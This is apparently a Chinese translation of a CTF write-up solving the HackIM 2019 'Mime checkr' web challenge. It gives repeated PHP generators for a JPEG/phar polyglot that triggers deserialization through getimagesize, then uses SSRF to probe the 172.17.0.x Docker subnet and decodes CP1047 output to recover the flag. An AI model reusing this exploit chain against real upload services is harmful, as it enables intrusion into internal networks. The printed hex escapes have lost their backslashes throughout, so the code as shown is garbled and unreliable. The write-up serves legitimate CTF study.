HackIM 2019-Mime checkr
- 2019 年 10 月 8 日
- 筆記
原文地址:http://www.mohamed-chamli.me/blog/hackim%202019/Mimecheckr
前言
大家好,这次我挑战了Nullcon HackIM 2019,这真的是一个令人惊叹的CTF比赛,所有的web题目都有一些比较难的新技术,需要更多的知识来破解它。
无论如何,我们尽了我们最大的努力去完成所有的WEB题目,虽然没有完成最后一道题,但是我们尽力了。

所以让我们开始讲解这道500分题目 mime checkr
的解题思路。

信息搜集
当你拿到一个WEB题目的时候,首先想到的应该总是做一下信息搜集(爆破网站的目录和文件&端口扫描)
所以我快速启动dirsearch来检查目录和隐藏文件,但是没有结果,我们所知道的是有两个文件 /upload.php
& /getmime.php
以及我们上传文件的文件夹 /uploads
。

让我们看看我们能在这里做什么

- 1、可以上传文件"只可以是图片",并且我们能够获得一个random_name.jpeg 例如:0e98960a815d51af41f10ab6f4642753.jpeg
- 2、可以通过发送文件的路径例如:uploads/0e98960a815d51af41f10ab6f4642753.jpeg来检查文件的mime type。
这时候我们知道代码中应该有一些被忽略的东西能够攻破这个应用。
目前我们能做什么,我们能够通过添加简单的图片文件头(jpg / gif ..)来绕过验证下载图片,并上传我们我们想要的php代码。但我们仍然不能控制文件后缀名以至于不会给我们任何结果。
因此,如果我们在任何文件的文件头添加 GIF89a;
并且内容是php代码,我们会得到下载的文件。
但是正如我们所说的,在我们能够控制 php5.3.4
上修复的扩展类型(不能利用空字节注入)之前,这是不可能的。
我们找不到解决办法并且只有三个小时的时间来完成这个糟糕的任务!
得到关键源码
在那一刻我们开始重新寻找隐藏文件!用http-backup-finder脚本启动nmap,也许我们可以得到一些东西(希望如此)。
using : nmap --script=http-backup-finder 159.65.158.100
是的,我们得到了一些东西 :D
,那里有备份文件 /getmime.bak
,我们真的错过了这个文件。
让我们继续!没有更多的时间了,我们需要利用它。

<?php //error_reporting(-1); //ini_set('display_errors', 'On'); class CurlClass{ public function httpGet($url) { $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); // curl_setopt($ch,CURLOPT_HEADER, false); $output=curl_exec($ch); curl_close($ch); return $output; } } class MainClass { public function __destruct() { $this->why =new CurlClass; echo $this->url; echo $this->why->httpGet($this->url); } } getimagesize("phar://test.jpg"); ?>
OK,我们从这里继续! 现在没什么奇怪的,因为我们不能控制 httpGet
,我们无法在那里利用SSRF!但是在BlackHat 2018活动中,@snt & @orange8361 提出了一种利用phar文件触发反序列化的技术。(点击这里:https://www.youtube.com/watch?v=PqsudKzs79c)
phar反序列化
因此,即使没有反序列化操作,使用这个技术我们也可以实现反序列化漏洞。 使用下面简单的代码意味着我们可以使用非实例化类来设置phar文件的元数据。
<?php $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub("<?php __HALT_COMPILER(); ? >"); class MainClass {} $object = new MainClass; $object->url = 'http://my_server_ip'; $phar->setMetadata($object); $phar->stopBuffering(); ?>
我们创建了phar文件,这意味着如果我们可以做到 getimagesize('phar://some/phar.jpg');
,那么我们就可以触发 __destruct
方法。 (是的,我们可以这样做,因为源代码使用getimagesize来检查文件的mime类型)。
在 getmime.php
中有 MainClass
调用 httpget($url)
,这意味着如果我们可以调用 __destruct
,我们就能够控制 httpGet()
。 是的,我们已经可以用SSRF来攻击它了!
让我们现在开始破解它吧,但是等一下,我们需要一个有效的phar文件,这意味着我们必须将phar隐藏为一个图片。
<?php $jpeg_header_size = "xffxd8xffxe0x00x10x4ax46x49x46x00x01x01x01x00x48x00x48x00x00xffxfex00x13". "x43x72x65x61x74x65x64x20x77x69x74x68x20x47x49x4dx50xffxdbx00x43x00x03x02". "x02x03x02x02x03x03x03x03x04x03x03x04x05x08x05x05x04x04x05x0ax07x07x06x08x0cx0ax0cx0cx0bx0ax0bx0bx0dx0ex12x10x0dx0ex11x0ex0bx0bx10x16x10x11x13x14x15x15". "x15x0cx0fx17x18x16x14x18x12x14x15x14xffxdbx00x43x01x03x04x04x05x04x05x09x05x05x09x14x0dx0bx0dx14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14". "x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14xffxc2x00x11x08x00x0ax00x0ax03x01x11x00x02x11x01x03x11x01". "xffxc4x00x15x00x01x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x08xffxc4x00x14x01x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xffxdax00x0cx03". "x01x00x02x10x03x10x00x00x01x95x00x07xffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x05x02x1fxffxc4x00x14x11". "x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x03x01x01x3fx01x1fxffxc4x00x14x11x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20". "xffxdax00x08x01x02x01x01x3fx01x1fxffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x06x3fx02x1fxffxc4x00x14x10x01". "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x3fx21x1fxffxdax00x0cx03x01x00x02x00x03x00x00x00x10x92x4fxffxc4x00x14x11x01x00". "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x03x01x01x3fx10x1fxffxc4x00x14x11x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxda". "x00x08x01x02x01x01x3fx10x1fxffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x3fx10x1fxffxd9"; $phar = new Phar("test.phar"); $phar->startBuffering(); $phar->addFromString("test.txt","test"); $phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>"); class MainClass {} $object = new MainClass; $object->url = 'http://my_server_ip'; $phar->setMetadata($object); $phar->stopBuffering(); rename("test.phar","fake_iamge.jpg"); ?>
是的,如果我们在本地进行测试,它是有效的

它同时是一个有效的图片文件和phar文件。第一步已经完成了。 下一步,需要收集内网信息,管理员已经说过它是一个容器(Docker)。
内网探测
所以需要检查docker默认子网,并看看那里是否有隐藏的应用! 在安装docker时,默认情况下,它将创建一个桥接接口docker0,其中包含一个用于容器网络的子网172.17.0.0/16
意味着某一个地址会给我们返回一些结果。 以http://172.17.0.1作为url开始测试
<?php $jpeg_header_size = "xffxd8xffxe0x00x10x4ax46x49x46x00x01x01x01x00x48x00x48x00x00xffxfex00x13". "x43x72x65x61x74x65x64x20x77x69x74x68x20x47x49x4dx50xffxdbx00x43x00x03x02". "x02x03x02x02x03x03x03x03x04x03x03x04x05x08x05x05x04x04x05x0ax07x07x06x08x0cx0ax0cx0cx0bx0ax0bx0bx0dx0ex12x10x0dx0ex11x0ex0bx0bx10x16x10x11x13x14x15x15". "x15x0cx0fx17x18x16x14x18x12x14x15x14xffxdbx00x43x01x03x04x04x05x04x05x09x05x05x09x14x0dx0bx0dx14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14". "x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14xffxc2x00x11x08x00x0ax00x0ax03x01x11x00x02x11x01x03x11x01". "xffxc4x00x15x00x01x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x08xffxc4x00x14x01x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xffxdax00x0cx03". "x01x00x02x10x03x10x00x00x01x95x00x07xffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x05x02x1fxffxc4x00x14x11". "x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x03x01x01x3fx01x1fxffxc4x00x14x11x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20". "xffxdax00x08x01x02x01x01x3fx01x1fxffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x06x3fx02x1fxffxc4x00x14x10x01". "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x3fx21x1fxffxdax00x0cx03x01x00x02x00x03x00x00x00x10x92x4fxffxc4x00x14x11x01x00". "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x03x01x01x3fx10x1fxffxc4x00x14x11x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxda". "x00x08x01x02x01x01x3fx10x1fxffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x3fx10x1fxffxd9"; $phar = new Phar("test.phar"); $phar->startBuffering(); $phar->addFromString("test.txt","test"); $phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>"); class MainClass {} $object = new MainClass; $object->url = 'http://172.17.0.1'; $phar->setMetadata($object); $phar->stopBuffering(); rename("test.phar","fake_iamge.jpg"); ?>
对Mime检查post数据 phar://uploads/file_name.jpeg
给我们返回了同样的web应用。

所以 172.17.0.1
== web题目,需要挖掘更多并找到一些别的东西。 172.17.0.2给了我们下一步的新提示 Change url :
$object->url = 'http://172.17.0.2';
返回给了我们一些东西不可打印的东西,使用代码页面的字符集,浏览器无法把它渲染回来。

File is not an image. http://172.17.0.2b'xc8x85x93x93x96@ax86x85xa3x83x88xa1lxadxbd_|]M@@x94x85'
爆破字符集
我们需要爆破所有可能的字符集并获得结果,我们使用CPXXX编码字符集获得了一些清楚的文本。

看起来像是 Hello/fetch~’string-garbage’me
。 所以这里我们只需要尝试使用其中一个结果(编码的数据)并再次发送SSRF请求 让我们试试CP1047 Hello/fetch~%[]^@)(me
,URL编码为 /%66%65%74%63%68%7e%25%5b%5d%5e%40%29%28
(否则服务器会告诉我们这是一个错误的请求)。
<?php $jpeg_header_size = "xffxd8xffxe0x00x10x4ax46x49x46x00x01x01x01x00x48x00x48x00x00xffxfex00x13". "x43x72x65x61x74x65x64x20x77x69x74x68x20x47x49x4dx50xffxdbx00x43x00x03x02". "x02x03x02x02x03x03x03x03x04x03x03x04x05x08x05x05x04x04x05x0ax07x07x06x08x0cx0ax0cx0cx0bx0ax0bx0bx0dx0ex12x10x0dx0ex11x0ex0bx0bx10x16x10x11x13x14x15x15". "x15x0cx0fx17x18x16x14x18x12x14x15x14xffxdbx00x43x01x03x04x04x05x04x05x09x05x05x09x14x0dx0bx0dx14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14". "x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14xffxc2x00x11x08x00x0ax00x0ax03x01x11x00x02x11x01x03x11x01". "xffxc4x00x15x00x01x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x08xffxc4x00x14x01x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xffxdax00x0cx03". "x01x00x02x10x03x10x00x00x01x95x00x07xffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x05x02x1fxffxc4x00x14x11". "x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x03x01x01x3fx01x1fxffxc4x00x14x11x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20". "xffxdax00x08x01x02x01x01x3fx01x1fxffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x06x3fx02x1fxffxc4x00x14x10x01". "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x3fx21x1fxffxdax00x0cx03x01x00x02x00x03x00x00x00x10x92x4fxffxc4x00x14x11x01x00". "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x03x01x01x3fx10x1fxffxc4x00x14x11x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxda". "x00x08x01x02x01x01x3fx10x1fxffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x3fx10x1fxffxd9"; $phar = new Phar("test.phar"); $phar->startBuffering(); $phar->addFromString("test.txt","test"); $phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>"); class MainClass {} $object = new MainClass; $object->url = 'http://172.17.0.2/%66%65%74%63%68%7e%25%5b%5d%5e%40%29%28'; $phar->setMetadata($object); $phar->stopBuffering(); rename("test.phar","fake_image.jpeg"); ?>
我们得到了一个结果

File is not an image. http://172.17.0.2/%66%65%74%63%68%7e%25%5b%5d%5e%40%29%28b'xc6x93x81x87xc0xd7xc8xd7mxe2xa3x99x85x81x94xa2mx81x99x85mxa3xf0xf0mxd4x81x89x95xe2xa3x99x85x81x94xf0xd0'
所以我们最后一步是使用 CP1047
解码 'xc6x93x81x87xc0xd7xc8xd7mxe2xa3x99x85x81x94xa2mx81x99x85mxa3xf0xf0mxd4x81x89x95xe2xa3x99x85x81x94xf0xd0'
import ebcdic url = 'xc6x93x81x87xc0xd7xc8xd7mxe2xa3x99x85x81x94xa2mx81x99x85mxa3xf0xf0mxd4x81x89x95xe2xa3x99x85x81x94xf0xd0'.decode("cp1047") print url
Yesss,我们得到了flag。
Flag{PHP_Streams_are_t00_MainStream0}
后记
真的是一个很好的题目,在完成它的不同步骤中,最后一步对我们来说真的很奇怪。 顺便说一句,这个任务只有4个团队才能解决,很高兴我们的团队是其中之一。
